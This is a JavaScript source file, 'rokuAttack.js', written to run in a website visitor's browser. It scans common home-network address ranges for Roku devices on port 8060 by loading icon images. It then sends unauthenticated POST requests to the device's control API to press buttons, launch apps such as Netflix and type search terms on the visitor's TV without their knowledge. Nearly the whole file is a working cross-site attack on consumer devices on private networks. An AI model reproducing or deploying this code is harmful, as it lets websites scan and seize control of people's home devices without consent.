rokuAttack.js

//
//  rokuAttack.js
//  7codes
//
//  Created by gregory tomlinson on 2011-05-08.
//  Copyright 2011 the public domain. All rights reserved.
//

/*
    Dependency
        CallerQueue (included atm)
*/

(function(window, undefined) {
    

var image_explorers=[], frame_id="discover_device_frame",
    local_network_types = [{
        name : "linksys/apple",
        start : "http://192.168.1.",
        end : ":8060",
        range : [2,199]
    },{
        name : "netgear/dlink",
        start : "http://192.168.0.",
        end : ":8060",
        range : [2,199]
    },{
        name : "belkin",
        start : "http://192.168.2.",
        end : ":8060",
        range : [2,100]
    },{
        name : "belkin",
        start : "http://10.0.1.",
        end : ":8060",
        range : [2,100]            
    }],
    types_pos=0,
    discover_interval=null;

function CallerQueue() {
    
    var lst=[], pos=-1;
    
    function call_method( item ) {
        var token = item.method.apply(item, item.args );
        if(token && token.done) {
            token.done(function() {
                run();
            });
        } else {
            run();
        }
    }
    
    function run() {
        pos+=1;
        if(pos >= lst.length) {
            return;
        }
        if(lst[pos].timeout) {
            setTimeout( function() {
                call_method( lst[pos] );
            }, lst[pos].timeout);
        } else {
            call_method( lst[pos] );
        }
    }
    
    this.append=function( method, args, timer_ms ) {
        
        lst.push({
            "method" : method,
            "timeout" : timer_ms,
            "args" : args
        });
    }
    
    this.execute=function() {
        run();
    }
}


window.rokuAttack = {
        host_addr : null,
        target_term : null,
    attack : function( term  ) {
        rokuAttack.target_term=term;
        setTimeout(function() {
            rokuAttack.init( rokuAttack._basic_attack );            
        }, 200)

        
        
        // rokuAttack.basic_attack
    },
    
    init : function( callback ) {
        // todo, use deferred
        var host = window.localStorage.getItem("host_addr");
        
        types_pos=JSON.parse( window.localStorage.getItem("types_pos") ) || types_pos;
        types_pos=Math.min(types_pos,local_network_types.length-1);
        if(!host) {
            // put in an iframe and dothis?? yes...
            rokuAttack.find_ip( function() {
                // spawn a window for this, a popunder.. maybe just open a new tab?
                // how about a worker?
                try {
                    window.localStorage.setItem("host_addr", rokuAttack.host_addr);
                    window.localStorage.setItem("types_pos", 0 );   
                    window.localStorage.removeItem("types_pos");
                    document.location.reload(); // clear out the image requests
                    callback( rokuAttack.host_addr );
                } catch(e) {
                    callback( rokuAttack.host_addr );
                }
            });
        } else {
            rokuAttack.host_addr=host;
            // test to make sure the ipaddrss is still good.
            callback( rokuAttack.host_addr );
        }
    },
    
    // todo, need some sequential chaining... maybe the jquery deferred
    _basic_attack : function( host_addr ) {

        var queue = new CallerQueue();
        queue.append( rokuAttack.display_photo, [], 0);
        queue.append( rokuAttack.press_home, [], 0 );
        queue.append( rokuAttack.press_launch, [], 0 );
        
        queue.append( rokuAttack.press_down, ["Search"], 15000 );
        queue.append( rokuAttack.type_word, [ rokuAttack.target_term || "Robo"], 5000 );
        
        queue.append( rokuAttack.press_key, ["Play"], 2000 );
        queue.append( rokuAttack.press_key, ["Select"], 5000 );
        queue.append( rokuAttack.press_key, ["Select"], 4000 );
        
        queue.execute();

    
    },
    
    type_word : function( word_str ) {
        // provide about a half second deply between pressing buttons
        var typing=true, pos=0, track_word=decodeURIComponent(word_str),
            timer_interval=null, dfr = $.Deferred();
        timer_interval=setInterval(function() {
            if(pos < track_word.length) {
                rokuAttack.press_letter( encodeURIComponent( track_word[pos] ) );
            } else {
                if(timer_interval) {
                    clearInterval(timer_interval);
                    dfr.resolve();
                }
            }
            
            pos++;
        }, 900);
        
        return dfr.promise();
    },
    
    display_photo : function() {
        var frag= [{
            type : "img",
            attrs : {
                src : rokuAttack.host_addr + "/query/icon/12"
            }
        },{
            content : "Pressed the home button for ya. Just to say hello"
        }]
        
        $("#middle").append(fastFrag.create(frag) );
    },
    
    command : function( cmnd  ) {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + cmnd,
            type : "POST",
            complete : dfr.resolve,
        });
        
        return dfr.promise();
    },
    
    press_home : function() {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + "/keypress/Home",
            type : "POST",
            complete : dfr.resolve,
        });
        
        return dfr.promise();
    },
    
    press_info : function( callback  ) {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + "/keypress/Info",
            type : "POST",
            complete : dfr.resolve
        });
        return dfr.promise();
    },
    
    press_key : function(keyname ) {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + "/keypress/" + keyname,
            type : "POST",
            complete : dfr.resolve
        });
        return dfr.promise();
    },
    
    press_down : function(keyname ) {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + "/keydown/" + keyname,
            type : "POST",
            complete : dfr.resolve
        });
        return dfr.promise();
    },
    
    press_up : function(keyname ) {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + "/keyup/" + keyname,
            type : "POST",
            complete : dfr.resolve
        });
        return dfr.promise();
    },
    
    press_letter : function(letter) {
        var dfr = $.Deferred();
        $.ajax({
            url : rokuAttack.host_addr + "/keypress/Lit_" + letter,
            type : "POST",
            complete : dfr.resolve
        });
        return dfr.promise();
    },
    
    press_launch : function() {
        var dfr = $.Deferred(),
            host_url= rokuAttack.host_addr + "/launch/12";
        
        $.ajax({
            url : host_url,
            type : "POST",
            complete : dfr.resolve
        });
        return dfr.promise();
    },
    
    launch_app : function( callback ) {
        /*
        /launch/dev?url=http%3A%2F%2Fvideo.ted.com%2Ftalks%2Fpodcast%2FVilayanurRamachandran_2007_480.mp4"
          "&streamformat=mp4
        */
        var host_url= rokuAttack.host_addr + "/launch/dev?url=http%3A%2F%2Fvideo.ted.com%2Ftalks%2Fpodcast%2FVilayanurRamachandran_2007_480.mp4&streamformat=mp4"
        $.ajax({
            url : host_url,
            type : "POST",
            complete : (callback || function() {}),
        });
    },
    
    find_ip : function( callback ) {
        // less then elegant, spider for the image.
        rokuAttack.__image_find(function( host_addr ) {
            console.log("found an address", host_addr)
            rokuAttack.host_addr=host_addr;
            clearInterval(rokuAttack.discover_interval);
            callback( rokuAttack.host_addr );
        });
        
        rokuAttack.discover_interval=setTimeout(rokuAttack.check_ip_discovery, 10000);
        
    },
    
    check_ip_discovery : function() {
        if(!rokuAttack.host_addr) {
            window.localStorage.setItem("types_pos", types_pos+=1);
            document.location.reload();
        }
    },
    
    __image_find : function( callback ) {
        
        var types=local_network_types[types_pos];
            types.range[0]
            types.range[1]
            
        for(var i=types.range[1]; i>=types.range[0]; i--) {

            var img = new Image();
            img.onload=(function(info_type, pos) {
                return function() {
                    rokuAttack.host_addr=info_type.start + pos + info_type.end;
                    console.log("found", rokuAttack.host_addr);
                    callback( rokuAttack.host_addr );
                }
            })(types, i);
            img.src=types.start  + i + types.end + "/query/icon/12"; // the netflix icon
        }            

    },
    
    __build_frame : function( frame_source, callback ) {
        var iframe = document.createElement("iframe");
        iframe.id="discover_device_frame";
        iframe.onload=callback;
        iframe.width="1px";
        iframe.height="1px";
        iframe.setAttribute("frameborder", 0);
        iframe.src=frame_source;
        document.body.appendChild(iframe  );
        return iframe;
    },

}



})(window);